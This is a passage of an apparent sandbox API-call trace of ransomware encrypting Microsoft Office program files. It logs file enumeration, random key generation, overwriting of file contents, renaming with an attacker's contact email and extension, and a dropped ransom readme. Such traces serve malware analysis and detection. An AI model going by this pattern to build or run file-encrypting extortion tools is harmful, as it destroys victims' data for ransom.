ftLastWriteTime.dwLowDateTime=0xe31ae500, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x18568, dwReserved0=0x0, dwReserved1=0x0, cFileName="RM.DLL", cAlternateFileName="")) returned 1 [0065.663] wcscmp (_String1="RM.DLL", _String2=".") returned 1 [0065.663] wcscmp (_String1="RM.DLL", _String2="..") returned 1 [0065.663] FindNextFileW (in: hFindFile=0x40a2e8, lpFindFileData=0x4b6ff0 | out: lpFindFileData=0x4b6ff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x1ff80, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSMGR.DLL", cAlternateFileName="")) returned 1 [0065.663] wcscmp (_String1="TRANSMGR.DLL", _String2=".") returned 1 [0065.663] wcscmp (_String1="TRANSMGR.DLL", _String2="..") returned 1 [0065.663] FindNextFileW (in: hFindFile=0x40a2e8, lpFindFileData=0x4b6ff0 | out: lpFindFileData=0x4b6ff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x1ff80, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSMGR.DLL", cAlternateFileName="")) returned 0 [0065.664] FindClose (hFindFile=0x40a2e8) Thread: id = 561 os_tid = 0xfb4 [0049.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc" (normalized: "c:\\program files\\microsoft office\\office14\\custom.propdesc")) returned 0x20 [0051.857] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc", dwFileAttributes=0x20) returned 1 [0054.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc" (normalized: "c:\\program files\\microsoft office\\office14\\custom.propdesc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xb6c [0054.735] GetFileSizeEx (in: hFile=0xb6c, lpFileSize=0xe05fae0 | out: lpFileSize=0xe05fae0*=1343) returned 1 [0054.735] SetFilePointerEx (in: hFile=0xb6c, liDistanceToMove=0x53b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.735] ReadFile (in: hFile=0xb6c, lpBuffer=0xe05fa64, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xe05fa60, lpOverlapped=0x0 | out: lpBuffer=0xe05fa64*, lpNumberOfBytesRead=0xe05fa60*=0x4, lpOverlapped=0x0) returned 1 [0054.742] SetFilePointerEx (in: hFile=0xb6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.742] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460738 [0054.742] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x45ffe0 [0054.742] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460008 [0054.742] NtQuerySystemTime (in: CurrentTime=0xe05fa40 | out: CurrentTime=0xe05fa40*=132174898187172000) returned 0x0 [0054.742] RtlRandomEx (in: Seed=0xe05fa4c | out: Seed=0xe05fa4c) returned 0x7f3710d8 [0054.742] RtlRandomEx (in: Seed=0xe05fa4c | out: Seed=0xe05fa4c) returned 0x3f8a00bf [0054.742] RtlRandomEx (in: Seed=0xe05fa4c | out: Seed=0xe05fa4c) returned 0x8add798 [0054.742] RtlRandomEx (in: Seed=0xe05fa4c | out: Seed=0xe05fa4c) returned 0x5ad64dcc [0054.742] RtlRandomEx (in: Seed=0xe05fa4c | out: Seed=0xe05fa4c) returned 0x19394da6 [0054.742] RtlRandomEx (in: Seed=0xe05fa4c | out: Seed=0xe05fa4c) returned 0x1232a97c [0054.743] RtlRandomEx (in: Seed=0xe05fa4c | out: Seed=0xe05fa4c) returned 0x5b754c2d [0054.743] RtlRandomEx (in: Seed=0xe05fa4c | out: Seed=0xe05fa4c) returned 0x7055dd59 [0054.743] RtlRandomEx (in: Seed=0xe05fa4c | out: Seed=0xe05fa4c) returned 0x95aafb6 [0054.743] RtlRandomEx (in: Seed=0xe05fa4c | out: Seed=0xe05fa4c) returned 0x50671608 [0054.743] RtlRandomEx (in: Seed=0xe05fa4c | out: Seed=0xe05fa4c) returned 0x533bfc7 [0054.743] RtlRandomEx (in: Seed=0xe05fa4c | out: Seed=0xe05fa4c) returned 0xebd670d [0054.743] RtlRandomEx (in: Seed=0xe05fa4c | out: Seed=0xe05fa4c) returned 0x40746dd7 [0054.743] RtlRandomEx (in: Seed=0xe05fa4c | out: Seed=0xe05fa4c) returned 0x269e9f9c [0054.743] RtlRandomEx (in: Seed=0xe05fa4c | out: Seed=0xe05fa4c) returned 0x57942bca [0054.743] RtlRandomEx (in: Seed=0xe05fa4c | out: Seed=0xe05fa4c) returned 0x169a1bac [0054.743] RtlRandomEx (in: Seed=0xe05fa4c | out: Seed=0xe05fa4c) returned 0xd819fa5 [0054.743] RtlRandomEx (in: Seed=0xe05fa4c | out: Seed=0xe05fa4c) returned 0x470d82a9 [0054.743] RtlRandomEx (in: Seed=0xe05fa4c | out: Seed=0xe05fa4c) returned 0x3ecabedb [0054.743] RtlRandomEx (in: Seed=0xe05fa4c | out: Seed=0xe05fa4c) returned 0x6187e8a7 [0054.743] RtlRandomEx (in: Seed=0xe05fa4c | out: Seed=0xe05fa4c) returned 0x14c3e20d [0054.743] RtlRandomEx (in: Seed=0xe05fa4c | out: Seed=0xe05fa4c) returned 0x4d350178 [0054.743] RtlRandomEx (in: Seed=0xe05fa4c | out: Seed=0xe05fa4c) returned 0x4277e6e7 [0054.743] RtlRandomEx (in: Seed=0xe05fa4c | out: Seed=0xe05fa4c) returned 0x337f26d [0054.743] RtlRandomEx (in: Seed=0xe05fa4c | out: Seed=0xe05fa4c) returned 0x616ae785 [0054.743] RtlRandomEx (in: Seed=0xe05fa4c | out: Seed=0xe05fa4c) returned 0x12ced5f8 [0054.743] RtlRandomEx (in: Seed=0xe05fa4c | out: Seed=0xe05fa4c) returned 0x3c90db86 [0054.743] RtlRandomEx (in: Seed=0xe05fa4c | out: Seed=0xe05fa4c) returned 0x2076348e [0054.743] RtlRandomEx (in: Seed=0xe05fa4c | out: Seed=0xe05fa4c) returned 0x5104b00d [0054.743] RtlRandomEx (in: Seed=0xe05fa4c | out: Seed=0xe05fa4c) returned 0x5cfa897a [0054.743] RtlRandomEx (in: Seed=0xe05fa4c | out: Seed=0xe05fa4c) returned 0x768c964 [0054.743] RtlRandomEx (in: Seed=0xe05fa4c | out: Seed=0xe05fa4c) returned 0x62abc964 [0054.756] ReadFile (in: hFile=0xb6c, lpBuffer=0x9721820, nNumberOfBytesToRead=0x53f, lpNumberOfBytesRead=0xe05fa3c, lpOverlapped=0x0 | out: lpBuffer=0x9721820*, lpNumberOfBytesRead=0xe05fa3c*=0x53f, lpOverlapped=0x0) returned 1 [0054.756] SetFilePointerEx (in: hFile=0xb6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.756] WriteFile (in: hFile=0xb6c, lpBuffer=0x972e028*, nNumberOfBytesToWrite=0x53f, lpNumberOfBytesWritten=0xe05fa38, lpOverlapped=0x0 | out: lpBuffer=0x972e028*, lpNumberOfBytesWritten=0xe05fa38*=0x53f, lpOverlapped=0x0) returned 1 [0054.757] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460738 [0054.757] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460008 [0054.757] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460008) returned 1 [0054.757] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x972e028) returned 1 [0054.757] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9721820) returned 1 [0054.757] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418fc8) returned 1 [0054.757] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bb38) returned 1 [0054.758] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x2b) returned 0x40aa68 [0054.758] SetFilePointerEx (in: hFile=0xb6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.758] WriteFile (in: hFile=0xb6c, lpBuffer=0x423da8*, nNumberOfBytesToWrite=0x10f, lpNumberOfBytesWritten=0xe05faa0, lpOverlapped=0x0 | out: lpBuffer=0x423da8*, lpNumberOfBytesWritten=0xe05faa0*=0x10f, lpOverlapped=0x0) returned 1 [0054.759] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x423da8) returned 1 [0054.759] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40ab80) returned 1 [0054.759] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460008) returned 1 [0054.759] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40aa68) returned 1 [0054.759] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460738) returned 1 [0054.759] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45ffe0) returned 1 [0054.759] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460030) returned 1 [0054.759] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45ffb8) returned 1 [0054.759] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xbe) returned 0x12f4daa0 [0054.759] wcscpy (in: _Dest=0x12f4daa0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc") returned="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc" [0054.759] wcscat (in: _Dest=0x12f4daa0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc.mailto[2Hamlampampom@cock.li].cd46d" [0054.759] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xe05fa58, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0054.759] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd4) returned 0x4d40e0 [0054.761] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d40e0) returned 1 [0054.761] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48eaa8) returned 1 [0054.761] NtQueryInformationFile (in: FileHandle=0xb6c, IoStatusBlock=0xe05fa64, FileInformation=0xe05fa3c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xe05fa64, FileInformation=0xe05fa3c) returned 0x0 [0054.761] NtSetInformationFile (FileHandle=0xb6c, IoStatusBlock=0xe05fa64, FileInformation=0xe05fa3c, Length=0x28, FileInformationClass=0x4) returned 0x0 [0054.762] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4daa0) returned 1 [0054.762] FlushFileBuffers (hFile=0xb6c) returned 1 [0054.763] CloseHandle (hObject=0xb6c) returned 1 [0054.764] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x446dd0 [0054.764] wcscpy (in: _Dest=0x446dd0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0054.764] wcscat (in: _Dest=0x446dd0, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CD46D-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\CD46D-Readme.txt" [0054.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CD46D-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\cd46d-readme.txt")) returned 0xffffffff [0054.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CD46D-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xb6c [0054.764] WriteFile (in: hFile=0xb6c, lpBuffer=0x419f90*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0xe05fa60, lpOverlapped=0x0 | out: lpBuffer=0x419f90*, lpNumberOfBytesWritten=0xe05fa60*=0x6fd, lpOverlapped=0x0) returned 1 [0054.765] CloseHandle (hObject=0xb6c) returned 1 [0054.765] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x446dd0) returned 1 [0054.766] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45e5b8) returned 1 Thread: id = 562 os_tid = 0xfb8 [0049.362] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x78) returned 0x45e938 [0049.362] wcscpy (in: _Dest=0x45e938, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts") returned="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts" [0049.362] wcscat (in: _Dest=0x45e938, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\" [0049.362] wcscat (in: _Dest=0x45e938, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\*" [0049.362] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4b7258 [0049.362] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\*", lpFindFileData=0x4b7258 | out: lpFindFileData=0x4b7258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409c28 [0051.861] wcscmp (_String1=".", _String2=".") returned 0 [0051.861] FindNextFileW (in: hFindFile=0x409c28, lpFindFileData=0x4b7258 | out: lpFindFileData=0x4b7258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.861] wcscmp (_String1="..", _String2=".") returned 1 [0051.861] wcscmp (_String1="..", _String2="..") returned 0 [0051.861] FindNextFileW (in: hFindFile=0x409c28, lpFindFileData=0x4b7258 | out: lpFindFileData=0x4b7258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0051.861] wcscmp (_String1="1033", _String2=".") returned 1 [0051.861] wcscmp (_String1="1033", _String2="..") returned 1 [0051.861] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x4477e8 [0051.861] wcscpy (in: _Dest=0x4477e8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts") returned="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts" [0051.861] wcscat (in: _Dest=0x4477e8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\" [0051.861] wcscat (in: _Dest=0x4477e8, _Source="1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033" [0066.014] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4477e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x284 [0066.015] FindNextFileW (in: hFindFile=0x409c28, lpFindFileData=0x4b7258 | out: lpFindFileData=0x4b7258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0066.016] FindClose (in: hFindFile=0x409c28 | out: hFindFile=0x409c28) returned 1 [0066.016] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4b7258) returned 1 [0066.016] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45e938) returned 1 [0066.016] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45e638) returned 1 Thread: id = 563 os_tid = 0xfbc [0049.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGDIC.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\engdic.dat")) returned 0x20 [0051.856] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGDIC.DAT", dwFileAttributes=0x20) returned 1 [0054.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGDIC.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\engdic.dat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf44 [0054.126] GetFileSizeEx (in: hFile=0xf44, lpFileSize=0xe14f74c | out: lpFileSize=0xe14f74c*=289926) returned 1 [0054.126] SetFilePointerEx (in: hFile=0xf44, liDistanceToMove=0x46c82, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.127] ReadFile (in: hFile=0xf44, lpBuffer=0xe14f6d0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xe14f6cc, lpOverlapped=0x0 | out: lpBuffer=0xe14f6d0*, lpNumberOfBytesRead=0xe14f6cc*=0x4, lpOverlapped=0x0) returned 1 [0054.128] SetFilePointerEx (in: hFile=0xf44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.129] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4606c0 [0054.129] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460620 [0054.129] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460738 [0054.129] NtQuerySystemTime (in: CurrentTime=0xe14f6ac | out: CurrentTime=0xe14f6ac*=132174898181088000) returned 0x0 [0054.129] RtlRandomEx (in: Seed=0xe14f6b8 | out: Seed=0xe14f6b8) returned 0x48b8362d [0054.129] RtlRandomEx (in: Seed=0xe14f6b8 | out: Seed=0xe14f6b8) returned 0x5169d23e [0054.129] RtlRandomEx (in: Seed=0xe14f6b8 | out: Seed=0xe14f6b8) returned 0x368619cf [0054.129] RtlRandomEx (in: Seed=0xe14f6b8 | out: Seed=0xe14f6b8) returned 0x61e72e11 [0054.129] RtlRandomEx (in: Seed=0xe14f6b8 | out: Seed=0xe14f6b8) returned 0x3568df0a [0054.129] RtlRandomEx (in: Seed=0xe14f6b8 | out: Seed=0xe14f6b8) returned 0x10d8b599 [0054.129] RtlRandomEx (in: Seed=0xe14f6b8 | out: Seed=0xe14f6b8) returned 0x60fb3ced [0054.129] RtlRandomEx (in: Seed=0xe14f6b8 | out: Seed=0xe14f6b8) returned 0x24f2c2be [0054.129] RtlRandomEx (in: Seed=0xe14f6b8 | out: Seed=0xe14f6b8) returned 0x2a6dc6e6 [0054.129] RtlRandomEx (in: Seed=0xe14f6b8 | out: Seed=0xe14f6b8) returned 0xa49c5fc [0054.129] RtlRandomEx (in: Seed=0xe14f6b8 | out: Seed=0xe14f6b8) returned 0x468a1fa7 [0054.129] RtlRandomEx (in: Seed=0xe14f6b8 | out: Seed=0xe14f6b8) returned 0xde3cd3 [0054.129] RtlRandomEx (in: Seed=0xe14f6b8 | out: Seed=0xe14f6b8) returned 0x7b0c1ac [0054.129] RtlRandomEx (in: Seed=0xe14f6b8 | out: Seed=0xe14f6b8) returned 0x2e55b70c [0054.129] RtlRandomEx (in: Seed=0xe14f6b8 | out: Seed=0xe14f6b8) returned 0x5b86518c [0054.129] RtlRandomEx (in: Seed=0xe14f6b8 | out: Seed=0xe14f6b8) returned 0x31c5c2d5 [0054.129] RtlRandomEx (in: Seed=0xe14f6b8 | out: Seed=0xe14f6b8) returned 0x2263c380 [0054.129] RtlRandomEx (in: Seed=0xe14f6b8 | out: Seed=0xe14f6b8) returned 0x7941df42 [0054.129] RtlRandomEx (in: Seed=0xe14f6b8 | out: Seed=0xe14f6b8) returned 0x2e30859f [0054.129] RtlRandomEx (in: Seed=0xe14f6b8 | out: Seed=0xe14f6b8) returned 0x6b2488ce [0054.129] RtlRandomEx (in: Seed=0xe14f6b8 | out: Seed=0xe14f6b8) returned 0x7ae73411 [0054.130] RtlRandomEx (in: Seed=0xe14f6b8 | out: Seed=0xe14f6b8) returned 0x2067a874 [0054.130] RtlRandomEx (in: Seed=0xe14f6b8 | out: Seed=0xe14f6b8) returned 0x1eba9f6c [0054.130] RtlRandomEx (in: Seed=0xe14f6b8 | out: Seed=0xe14f6b8) returned 0x48617fb0 [0054.130] RtlRandomEx (in: Seed=0xe14f6b8 | out: Seed=0xe14f6b8) returned 0x2f555ba2 [0054.130] RtlRandomEx (in: Seed=0xe14f6b8 | out: Seed=0xe14f6b8) returned 0x5e7889ad [0054.130] RtlRandomEx (in: Seed=0xe14f6b8 | out: Seed=0xe14f6b8) returned 0x27171de9 [0054.130] RtlRandomEx (in: Seed=0xe14f6b8 | out: Seed=0xe14f6b8) returned 0x3926110c [0054.130] RtlRandomEx (in: Seed=0xe14f6b8 | out: Seed=0xe14f6b8) returned 0x173c70c0 [0054.130] RtlRandomEx (in: Seed=0xe14f6b8 | out: Seed=0xe14f6b8) returned 0x658d7b98 [0054.130] RtlRandomEx (in: Seed=0xe14f6b8 | out: Seed=0xe14f6b8) returned 0x3e1a7fd9 [0054.130] RtlRandomEx (in: Seed=0xe14f6b8 | out: Seed=0xe14f6b8) returned 0x2b97d532 [0054.734] SetFilePointerEx (in: hFile=0xf44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.734] ReadFile (in: hFile=0xf44, lpBuffer=0x1982e028, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xe14f664, lpOverlapped=0x0 | out: lpBuffer=0x1982e028*, lpNumberOfBytesRead=0xe14f664*=0xc800, lpOverlapped=0x0) returned 1 [0054.738] SetFilePointerEx (in: hFile=0xf44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.738] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bb38 [0054.738] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x418fc8 [0054.738] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4606c0 [0054.738] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4606c0) returned 1 [0054.739] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x1983a830 [0054.740] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4606c0 [0054.741] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460738 [0054.741] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460738) returned 1 [0054.741] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418fc8) returned 1 [0054.741] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bb38) returned 1 [0054.741] WriteFile (in: hFile=0xf44, lpBuffer=0x1983a830*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xe14f664, lpOverlapped=0x0 | out: lpBuffer=0x1983a830*, lpNumberOfBytesWritten=0xe14f664*=0xc800, lpOverlapped=0x0) returned 1 [0055.910] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x1983a830) returned 1 [0055.910] SetFilePointerEx (in: hFile=0xf44, liDistanceToMove=0x25800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.910] ReadFile (in: hFile=0xf44, lpBuffer=0x1982e028, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xe14f664, lpOverlapped=0x0 | out: lpBuffer=0x1982e028*, lpNumberOfBytesRead=0xe14f664*=0xc800, lpOverlapped=0x0) returned 1 [0055.911] SetFilePointerEx (in: hFile=0xf44, liDistanceToMove=0x25800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.911] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bb38 [0055.911] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x418fc8 [0055.911] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441668 [0055.911] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441668) returned 1 [0055.912] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x5eb80a8 [0055.913] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441668 [0055.913] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4414b0 [0055.913] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4414b0) returned 1 [0055.913] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418fc8) returned 1 [0055.913] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bb38) returned 1 [0055.913] WriteFile (in: hFile=0xf44, lpBuffer=0x5eb80a8*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xe14f664, lpOverlapped=0x0 | out: lpBuffer=0x5eb80a8*, lpNumberOfBytesWritten=0xe14f664*=0xc800, lpOverlapped=0x0) returned 1 [0059.098] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5eb80a8) returned 1 [0059.098] SetFilePointerEx (in: hFile=0xf44, liDistanceToMove=0x3a486, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 